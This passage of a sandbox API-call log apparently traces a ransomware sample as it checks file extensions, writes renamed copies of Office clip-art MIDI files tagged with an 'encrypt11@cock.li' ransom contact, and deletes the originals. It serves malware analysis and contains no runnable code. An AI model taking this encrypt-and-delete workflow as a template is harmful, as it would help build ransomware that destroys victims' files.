office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0159.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0159.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0159.213] lstrlenW (lpString=".doc") returned 4 [0159.213] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.213] lstrlenW (lpString=".docx") returned 5 [0159.213] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.213] lstrlenW (lpString=".pdf") returned 4 [0159.213] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.213] lstrlenW (lpString=".xls") returned 4 [0159.213] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.213] lstrlenW (lpString=".xlsx") returned 5 [0159.214] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.214] lstrlenW (lpString=".ppt") returned 4 [0159.214] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0159.214] lstrlenW (lpString=".zip") returned 4 [0159.214] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.214] lstrlenW (lpString=".rar") returned 4 [0159.214] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.214] lstrlenW (lpString=".bz2") returned 4 [0159.214] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.214] lstrlenW (lpString=".7z") returned 3 [0159.214] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0159.214] lstrlenW (lpString=".dbf") returned 4 [0159.214] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0159.214] lstrlenW (lpString=".1cd") returned 4 [0159.214] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0159.214] lstrlenW (lpString=".jpg") returned 4 [0159.214] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.214] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.214] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0159.215] GetLastError () returned 0x0 [0159.215] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x36dc, lpOverlapped=0x0) returned 1 [0159.216] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x36e0, lpOverlapped=0x0) returned 1 [0159.217] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.217] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.217] SetEndOfFile (hFile=0x39c) returned 1 [0159.217] CloseHandle (hObject=0x39c) returned 1 [0159.217] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.217] SetEndOfFile (hFile=0x348) returned 1 [0159.218] CloseHandle (hObject=0x348) returned 1 [0159.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0159.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0159.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0159.219] lstrlenW (lpString=".doc") returned 4 [0159.219] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.219] lstrlenW (lpString=".docx") returned 5 [0159.219] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.219] lstrlenW (lpString=".pdf") returned 4 [0159.219] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.219] lstrlenW (lpString=".xls") returned 4 [0159.219] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.219] lstrlenW (lpString=".xlsx") returned 5 [0159.219] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.219] lstrlenW (lpString=".ppt") returned 4 [0159.219] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0159.219] lstrlenW (lpString=".zip") returned 4 [0159.219] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.219] lstrlenW (lpString=".rar") returned 4 [0159.219] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.219] lstrlenW (lpString=".bz2") returned 4 [0159.220] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.220] lstrlenW (lpString=".7z") returned 3 [0159.220] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0159.220] lstrlenW (lpString=".dbf") returned 4 [0159.220] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0159.220] lstrlenW (lpString=".1cd") returned 4 [0159.220] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0159.220] lstrlenW (lpString=".jpg") returned 4 [0159.220] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.220] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.220] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0159.221] GetLastError () returned 0x0 [0159.221] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x2135, lpOverlapped=0x0) returned 1 [0159.222] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x2140, lpOverlapped=0x0) returned 1 [0159.222] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.222] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.223] SetEndOfFile (hFile=0x39c) returned 1 [0159.223] CloseHandle (hObject=0x39c) returned 1 [0159.223] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.223] SetEndOfFile (hFile=0x348) returned 1 [0159.223] CloseHandle (hObject=0x348) returned 1 [0159.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0159.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0159.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0159.224] lstrlenW (lpString=".doc") returned 4 [0159.224] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.224] lstrlenW (lpString=".docx") returned 5 [0159.224] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.224] lstrlenW (lpString=".pdf") returned 4 [0159.225] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.225] lstrlenW (lpString=".xls") returned 4 [0159.225] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.225] lstrlenW (lpString=".xlsx") returned 5 [0159.225] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.225] lstrlenW (lpString=".ppt") returned 4 [0159.225] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0159.225] lstrlenW (lpString=".zip") returned 4 [0159.225] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.225] lstrlenW (lpString=".rar") returned 4 [0159.225] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.225] lstrlenW (lpString=".bz2") returned 4 [0159.225] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.225] lstrlenW (lpString=".7z") returned 3 [0159.225] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0159.225] lstrlenW (lpString=".dbf") returned 4 [0159.225] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0159.225] lstrlenW (lpString=".1cd") returned 4 [0159.225] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0159.226] lstrlenW (lpString=".jpg") returned 4 [0159.226] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.226] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.226] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0159.227] GetLastError () returned 0x0 [0159.227] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x342e, lpOverlapped=0x0) returned 1 [0159.227] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x3430, lpOverlapped=0x0) returned 1 [0159.228] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.228] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.229] SetEndOfFile (hFile=0x39c) returned 1 [0159.229] CloseHandle (hObject=0x39c) returned 1 [0159.229] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.229] SetEndOfFile (hFile=0x348) returned 1 [0159.230] CloseHandle (hObject=0x348) returned 1 [0159.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0159.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0159.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0159.230] lstrlenW (lpString=".doc") returned 4 [0159.230] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.230] lstrlenW (lpString=".docx") returned 5 [0159.230] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.230] lstrlenW (lpString=".pdf") returned 4 [0159.231] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.231] lstrlenW (lpString=".xls") returned 4 [0159.231] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.231] lstrlenW (lpString=".xlsx") returned 5 [0159.231] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.231] lstrlenW (lpString=".ppt") returned 4 [0159.231] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0159.231] lstrlenW (lpString=".zip") returned 4 [0159.231] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.231] lstrlenW (lpString=".rar") returned 4 [0159.231] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.231] lstrlenW (lpString=".bz2") returned 4 [0159.231] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.231] lstrlenW (lpString=".7z") returned 3 [0159.231] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0159.231] lstrlenW (lpString=".dbf") returned 4 [0159.231] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0159.231] lstrlenW (lpString=".1cd") returned 4 [0159.231] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 68 [0159.231] lstrlenW (lpString=".jpg") returned 4 [0159.231] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.231] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.232] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0159.232] GetLastError () returned 0x0 [0159.232] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x1361, lpOverlapped=0x0) returned 1 [0159.233] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x1370, lpOverlapped=0x0) returned 1 [0159.234] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.234] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.234] SetEndOfFile (hFile=0x39c) returned 1 [0159.234] CloseHandle (hObject=0x39c) returned 1 [0159.234] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.234] SetEndOfFile (hFile=0x348) returned 1 [0159.235] CloseHandle (hObject=0x348) returned 1 [0159.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0159.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0159.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0159.236] lstrlenW (lpString=".doc") returned 4 [0159.236] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.236] lstrlenW (lpString=".docx") returned 5 [0159.236] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.236] lstrlenW (lpString=".pdf") returned 4 [0159.236] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.236] lstrlenW (lpString=".xls") returned 4 [0159.236] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.236] lstrlenW (lpString=".xlsx") returned 5 [0159.236] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.236] lstrlenW (lpString=".ppt") returned 4 [0159.236] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0159.236] lstrlenW (lpString=".zip") returned 4 [0159.236] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.236] lstrlenW (lpString=".rar") returned 4 [0159.236] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.236] lstrlenW (lpString=".bz2") returned 4 [0159.236] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.236] lstrlenW (lpString=".7z") returned 3 [0159.236] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0159.236] lstrlenW (lpString=".dbf") returned 4 [0159.236] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0159.236] lstrlenW (lpString=".1cd") returned 4 [0159.236] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68 [0159.236] lstrlenW (lpString=".jpg") returned 4 [0159.236] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.237] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.237] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0159.237] GetLastError () returned 0x0 [0159.237] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x1b03, lpOverlapped=0x0) returned 1 [0159.238] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0159.239] ReadFile (in: hFile=0x348, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.239] WriteFile (in: hFile=0x39c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.239] SetEndOfFile (hFile=0x39c) returned 1 [0159.239] CloseHandle (hObject=0x39c) returned 1 [0159.240] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.240] SetEndOfFile (hFile=0x348) returned 1 [0159.490] CloseHandle (hObject=0x348) returned 1 [0159.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0159.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0159.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0159.490] lstrlenW (lpString=".doc") returned 4 [0159.491] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.491] lstrlenW (lpString=".docx") returned 5 [0159.491] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.491] lstrlenW (lpString=".pdf") returned 4 [0159.491] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.491] lstrlenW (lpString=".xls") returned 4 [0159.491] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.491] lstrlenW (lpString=".xlsx") returned 5 [0159.491] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.491] lstrlenW (lpString=".ppt") returned 4 [0159.491] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0159.491] lstrlenW (lpString=".zip") returned 4 [0159.491] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.491] lstrlenW (lpString=".rar") returned 4 [0159.491] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.491] lstrlenW (lpString=".bz2") returned 4 [0159.491] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.491] lstrlenW (lpString=".7z") returned 3 [0159.491] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0159.491] lstrlenW (lpString=".dbf") returned 4 [0159.491] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0159.491] lstrlenW (lpString=".1cd") returned 4 [0159.491] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0159.491] lstrlenW (lpString=".jpg") returned 